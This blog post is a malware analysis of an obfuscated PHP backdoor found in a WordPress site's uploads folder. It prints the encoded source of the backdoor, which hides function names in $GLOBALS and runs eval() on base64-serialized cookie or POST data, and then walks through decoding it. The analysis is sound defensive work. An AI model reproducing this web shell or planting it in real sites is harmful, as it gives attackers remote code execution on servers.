← Back to the Blog

Decoding a PHP SuperGlobals exploit program

By Sid Young
Decoding a PHP SuperGlobals exploit program

Back in April I released an article called "Byte encoding exploits in PHP files", at the time we had not seen a PHP exploit coded in that way so scanning tools like "Maldet" didn't pick it up even though to a human the code looked like an exploit due to the coding style. When we detected the exploit I wrote the article after doing some research and discovering virtually nothing on the subject, if you haven't read the article then its worth a read now because it created a lot of interest, especially in Eastern European countries (where I suspect the exploit originated from) according to the Google Analytics we reviewed in the weeks that followed release of the article.

Then within a month of the article being released the exploit attempts dropped off, manual detection of suspect files showed the exploit code being widely used previously, had changed. The modified versions of the files included less of the byte encoding and more generic PHP code. But things don't stand still and today another exploit was manually detected in log scans. Our normal scanning tools failed to pick the most recent exploit attempt but looking at the files with human eyes they are obviously suspect!  The "new" coding style the hackers used in one file is based around the PHP "super globals" language feature. I had not heard the term myself till I started checking the syntax of the "GLOBALS[] array on the php.net web site. Using "global" in a PHP app is quite common and even using "$GLOBALS[]" is not that unusual, but a file full of them is not a coding style any professional uses to release code.

Two files were downloaded by the hackers, one called diff50.php and the other (yet to be decoded as its totally different again) diff.php. The entry point was either a an out of date WordPress plugin like Gravity Forms or an out of date theme file. The reason we cannot be clear on the entry vector is the possibility the time stamps on the directories of the site may have been manipulated but the exploits were found in the various "uploads" directory of a WordPress site.

The file contents look like this (showing only the first few lines):

<?php $GLOBALS['v5fd1710b'] = "\x34\x30\xa\x33\x6f\x52\x5e\x71\x2a\x24\x66\x3e\x78\x50\x2d\x4b\x2c\x6b\x35\x5b\x5d\x7a\x58\x9\x47\x69\x41\x45\x21\x56\x68\x7d\x7b\x36\x76\x73\x6a\x7c\x6e\x6c\x64\x26\x43\x5a\x48\x3a\x25\x6d\x40\x23\x60\x70\x4e\x7e\x4a\x3c\x72\x44\xd\x4f\x62\x74\x20\x28\x46\x63\x5c\x65\x4c\x31\x54\x32\x3f\x67\x3d\x75\x49\x22\x42\x61\x51\x57\x5f\x27\x38\x2e\x59\x53\x2b\x37\x39\x4d\x29\x2f\x79\x55\x3b\x77";
$GLOBALS[$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][79]] = $GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][30].$GLOBALS['v5fd1710b'][56];
$GLOBALS[$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][89].$GLOBALS['v5fd1710b'][10]] = $GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][40];
$GLOBALS[$GLOBALS['v5fd1710b'][73].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][40].$GLOBALS['v5fd1710b'][3].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][18]] = $GLOBALS['v5fd1710b'][40].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][67];
$GLOBALS[$GLOBALS['v5fd1710b'][12].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][40]] = $GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][61].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][38];
$GLOBALS[$GLOBALS['v5fd1710b'][47].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][40].$GLOBALS['v5fd1710b'][3].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][79]] = $GLOBALS['v5fd1710b'][40].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][40];
$GLOBALS[$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65]] = $GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][61];
$GLOBALS[$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][89]] = $GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][21].$GLOBALS['v5fd1710b'][67];
$GLOBALS[$GLOBALS['v5fd1710b'][7].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][67]] = $GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][30].$GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][34].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][38];
$GLOBALS[$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][89]] = $GLOBALS['v5fd1710b'][75].$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][21].$GLOBALS['v5fd1710b'][67];
$GLOBALS[$GLOBALS['v5fd1710b'][61].$GLOBALS['v5fd1710b'][3].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][1]] = $GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][40].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][40].$GLOBALS['v5fd1710b'][67];
$GLOBALS[$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][84]] = $GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][61].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][61].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][47].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][47].$GLOBALS['v5fd1710b'][25].$GLOBALS['v5fd1710b'][61];
$GLOBALS[$GLOBALS['v5fd1710b'][36].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][65]] = $GLOBALS['v5fd1710b'][75].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][3];
$GLOBALS[$GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][60]] = $GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][89].$GLOBALS['v5fd1710b'][89].$GLOBALS['v5fd1710b'][40].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][90];
$GLOBALS[$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79]] = $_POST;
$GLOBALS[$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][60]] = $_COOKIE;
@$GLOBALS[$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65]]($GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][73], NULL);
@$GLOBALS[$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65]]($GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][73].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][35], 0);

On analysing this file I Initially thought the first line was a bootstrap code sequence but it quickly became obvious it was a character mapping array, mapping the hex coding to ASCII characters as shown below using a simple decoder.

<?php $GLOBALS['v5fd1710b'] = "\x34\x30\xa\x33\x6f\x52\x5e\x71\x2a\x24\x66\x3e\x78\x50\x2d\x4b\x2c\x6b\x35\x5b\x5d\x7a\x58\x9\x47\x69\x41\x45\x21\x56\x68\x7d\x7b\x36\x76\x73\x6a\x7c\x6e\x6c\x64\x26\x43\x5a\x48\x3a\x25\x6d\x40\x23\x60\x70\x4e\x7e\x4a\x3c\x72\x44\xd\x4f\x62\x74\x20\x28\x46\x63\x5c\x65\x4c\x31\x54\x32\x3f\x67\x3d\x75\x49\x22\x42\x61\x51\x57\x5f\x27\x38\x2e\x59\x53\x2b\x37\x39\x4d\x29\x2f\x79\x55\x3b\x77";

The character set it translated to becomes:

403oR^q*$f>xP-K,k5[]zXGiAE!Vh}{6vsj|nld&CZH:%m@#`pN~J<rDObt (Fc\eL1T2?g=uI"BaQW_'8.YS+79M)/yU;w

The first thing I did was rename 'v5fd1710b' to 'MAP', this made the particular array easy to spot and reduced the code. Then I set about reversing the variable encoding back to clearer text and see what is actually being set.

This became obvious when I echoed out the assignment lines one at a time:

$GLOBALS[$GLOBALS['MAP']['n'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['f'].$GLOBALS['MAP'][1].$GLOBALS['MAP']['5'].$GLOBALS['MAP']['8'].$GLOBALS['MAP']['a']] = 'chr';
$a1 = $GLOBALS[$GLOBALS['MAP']['n'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['f'].$GLOBALS['MAP'][1].$GLOBALS['MAP']['5'].$GLOBALS['MAP']['8'].$GLOBALS['MAP']['a']];
var_dump( $a1 );

$GLOBALS[$GLOBALS['MAP']['c'].$GLOBALS['MAP']['9'].$GLOBALS['MAP']['7'].$GLOBALS['MAP']['f']] = 'ord';
$a2=$GLOBALS[$GLOBALS['MAP']['c'].$GLOBALS['MAP']['9'].$GLOBALS['MAP']['7'].$GLOBALS['MAP']['f']];
var_dump( $a2 );

$GLOBALS[$GLOBALS['MAP'][73].$GLOBALS['MAP'][0].$GLOBALS['MAP']['c'].$GLOBALS['MAP']['f'].$GLOBALS['MAP']['d'].$GLOBALS['MAP'][3].$GLOBALS['MAP']['1'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['5']] = 'define';
$a3=$GLOBALS[$GLOBALS['MAP'][73].$GLOBALS['MAP'][0].$GLOBALS['MAP']['c'].$GLOBALS['MAP']['f'].$GLOBALS['MAP']['d'].$GLOBALS['MAP'][3].$GLOBALS['MAP']['1'].$GLOBALS['MAP']['a'].$GLOBALS['MAP']['5']];
var_dump( $a3  );

The resulting text output from the first dozen lines gives:

string(98) "40
Obt (Fc\eL1T2?g=uI"BaQW_'8.YS+79M)/yU;w"d&CZH:%m@#`pN~J<rD
string(3) "chr"
string(3) "ord"
string(6) "define"
string(6) "strlen"
string(7) "defined"
string(7) "ini_set"
string(9) "serialize"
string(10) "phpversion"
string(11) "unserialize"
string(13) "base64_decode"
string(14) "set_time_limit"
string(5) "ub083"
string(8) "n5a77d19"

This indicates the code assigns program keywords to global variables which can be executed. Another way to dump the variable assignments is to use:

print_r( $GLOBALS );

Follow this with a return 0; to prevent the rest of the code executing and it becomes obvious what some of the variable names are and what is assigned to them, so the print_r output yielded the following:

    [GLOBALS] => Array
 *RECURSION*
    [v5fd1710b] => 40
Obt (Fc\eL1T2?g=uI"BaQW_'8.YS+79M)/yU;wld&CZH:%m@#`pN~J<rD
    [naf058a] => chr
    [c97f] => ord
    [g4cfd31a5] => define
    [x8e08429d] => strlen
    [m11d3ee2a] => defined
    [ea6c] => ini_set
    [a52f7] => serialize
    [qb4e] => phpversion
    [n627] => unserialize
    [t38a0] => base64_decode
    [r51b18] => set_time_limit
    [j1001fc] => ub083
    [pe5fb] => n5a77d19
    [rb2ea] => Array
        (
        )

    [o6cb] => Array
        (
        )

    [b5e6d8f3] => 
    [n820] => 
    [t6342e1] => 47f8267d-d339-412c-bed5-792d751bb922
)

Then next bit of analysis was to look at the two Arrays "$rb2ea" and "$o6cb" as well as any function calls and function definitions, the later is easy as the "function" keyword must be used. Function calls however can be coded using the @$GLOBALS[] structure and the file has a couple of these:

$GLOBALS[$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79]] = $_POST;
$GLOBALS[$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][60]] = $_COOKIE;
@$GLOBALS[$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65]]($GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][73], NULL);

The first line is the last assignment which gets the $_POST variables, the second gets the $_COOKIE variable, this tells me the script is called with parameters so its most likely the malicious code is remote and downloaded as needed. PHP function definitions, like most languages are constructed as follows:

function NAME ( param, more_params ) { code };

while the function call just excludes the keyword "function", So the lines above decode to:

@$GLOBALS[$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65]]($GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][73], NULL);
=
ea6c(error_log, NULL);

We find 4 characters, an opening "(", some parameters and finally a closing ")" with semi-colon. From the naming of the function its purpose is not immediately obvious, but if we look back at the keywords we decoded earlier, ea6c is in fact "ini_set" so the resultant call is:

ini_set(error_log,NULL); 

and converting all the ones we find in the file yields the file so far:

$GLOBALS['naf058a'] = 'chr';
$GLOBALS['c97f'] = 'ord';
$GLOBALS['g4cfd31a5'] = 'define';
$GLOBALS['x8e08429d'] = 'strlen';
$GLOBALS['m11d3ee2a'] = 'defined';
$GLOBALS['ea6c'] = 'ini_set';
$GLOBALS['a52f7'] = 'serialize';
$GLOBALS['qb4e'] = 'phpversion';
$GLOBALS['n627'] = 'unserialize';
$GLOBALS['t38a0']= 'base64_decode';
$GLOBALS['r51b18'] = 'set_time_limit';
$GLOBALS['j1001fc'] = 'ub083';
$GLOBALS['pe5fb'] = 'n5a77d19';
$GLOBALS['rb2ea'] = $_POST;
$GLOBALS['o6cb']  = $_COOKIE;
ini_set('error_log', NULL);
ini_set('log_errors', 0);
ini_set('max_execution_time',0);

A scan of the remainder of the file yields a few more function calls and then some function definitions as shown next:

function n5a77d19($b5e6d8f3, $w96a)
{
    $uc7dfb321 = "";

    for ($l360=0; $l360<$GLOBALS[$GLOBALS['v5fd1710b'][12].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][40]]($b5e6d8f3);)
    {
        for ($h9e5=0; $h9e5<$GLOBALS[$GLOBALS['v5fd1710b'][12].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][40]]($w96a) && $l360<$GLOBALS[$GLOBALS['v5fd1710b'][12].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][40]]($b5e6d8f3); $h9e5++, $l360++)
        {
            $uc7dfb321 .= $GLOBALS[$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][79]]($GLOBALS[$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][89].$GLOBALS['v5fd1710b'][10]]($b5e6d8f3[$l360]) ^ $GLOBALS[$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][89].$GLOBALS['v5fd1710b'][10]]($w96a[$h9e5]));
        }
    }
    return $uc7dfb321;
}

function ub083($b5e6d8f3, $w96a)
{
    global $t6342e1;

    return $GLOBALS[$GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][60]]($GLOBALS[$GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][60]]($b5e6d8f3, $t6342e1), $w96a);
}

Pulling the first function apart and substituting the strings from the global variables defined above gives us:

function n5a77d19($param1, $param2)
{
    $retval = "";

    for ($l3b=0; $l3b < strlen($param1); )
    {
        for ($h9e5=0; $h9e5a < strlen($param2) && $l3b < strlen($param1); $h9e5++, $l3b++)
        {
            $retval .= chr(ord($param1[$l3b]) ^ ord($param2[$h9e5]));
        }
    }
    echo "RETURN DATA [ $retval ]\n";
    return $retval;
}

The function's two parameters were changed using text substitution, I don't know yet what the parameters are so "$param1" and "$param2" are safe bets, while the chr() and ord() functions were decoded from our list of global variables earlier. One immediate observation is we have two global variables with the same names as the functions, the code in the function is also not clear so we can use our substitutions above to reverse this back to more legible code.

The second function can now be pulled apart:

#
#
function ub083($param1, $param2)
{
    global $v1;
    return $GLOBALS['pe5fb'('pe5fb']($param1, $v1), $param2);
}

 

A lookup of our global variables shows:

$GLOBALS['pe5fb'] = 'n5a77d19';"

The globals value "pe5fb" is the name of the previous function so this can be substituted and the parameters match so we have this back to more normal looking code.

#
function ub083($param1, $param2)
{
    global $v1;
    return n5a77d19( n5a77d19($param1, $v1), $param2);
}

Using substitution again we can decode the foreach loop:

foreach ($GLOBALS[$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][60]] as $w96a=>$pf64a09f)
{
    $b5e6d8f3 = $pf64a09f;
    $n820 = $w96a;
}

Which yields:

foreach ( $_COOKIE as $param2=>$pf64a09f)
{
    $param1 = $pf64a09f;
    $n_0 = $param2;
}

And the remaining code in the file:

if (!$b5e6d8f3)
{
    foreach ($GLOBALS[$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79]] as $w96a=>$pf64a09f)^M
    {
        $b5e6d8f3 = $pf64a09f;
        $n820 = $w96a;
    }
}

$b5e6d8f3 = @$GLOBALS[$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][89]]($GLOBALS[$GLOBALS['v5fd1710b'][36].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][65]](@$GLOBALS[$GLOBALS['v5fd1710b'][61].$GLOBALS['v5fd1710b'][3].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][1]]($b5e6d8f3), $n820));^M
if (isset($b5e6d8f3[$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][17]]) && $t6342e1==$b5e6d8f3[$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][17]])^M
{
    if ($b5e6d8f3[$GLOBALS['v5fd1710b'][79]] == $GLOBALS['v5fd1710b'][25])
    {
        $l360 = Array(
            $GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][34] => @$GLOBALS[$GLOBALS['v5fd1710b'][7].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][67]](),^M
            $GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][34] => $GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][85].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][14].$GLOBALS['v5fd1710b'][69],^M
        );
        echo @$GLOBALS[$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][89]]($l360);^M
    }
    elseif ($b5e6d8f3[$GLOBALS['v5fd1710b'][79]] == $GLOBALS['v5fd1710b'][67])
    {
        eval($b5e6d8f3[$GLOBALS['v5fd1710b'][40]]);
    }
}

Once all the globals are substituted, we get::

if (!$param1)
{
    foreach ( $_POST as $param2=>$pf64a09f)
    {
        $param1 = $pf64a09f;
        $n_0 = $param2;
    }
}
$param1 = unserialize( base64_decode($param1), $n_0);

print_r($param1);

if( isset($param1['ak']) && $v1==$param1['ak'])
{
    if ($param1['a'] == 'i')
    {
        $l3b = Array(
            'pv' => phpversion(),
            'sv' => '10-1',
        );
        echo serialize($l3b);
    }
    elseif ($param1['a'] == 'e')
    {
#        eval($param1['d']);
print_r($param1);
    }

I've added the print_r() statements to help decode variable names and see what is set and as a safe guard the "eval()" call is disabled.

The final analysis shows that the program's data is collected from Cookies and POST data,  manipulated into a base64 format and then executed using the PHP eval() function. As we don't have the Cookie data or POST data further analysis is not possible. But the script allows code to be downloaded and executed so that makes it an open tool to be used at will. The trigger for us was excessive email traffic and in most cases these exploits are used to send spam mail.

Where to from here?

The fact the files came down means the clients themes and plugins need updating. A manual scan of the directories showed no other files but the coding style will enable a tool similar to the earlier exploit from two months ago to be used to find this type of code. A full cleanup of the site's files and manual checking shows no other exploits.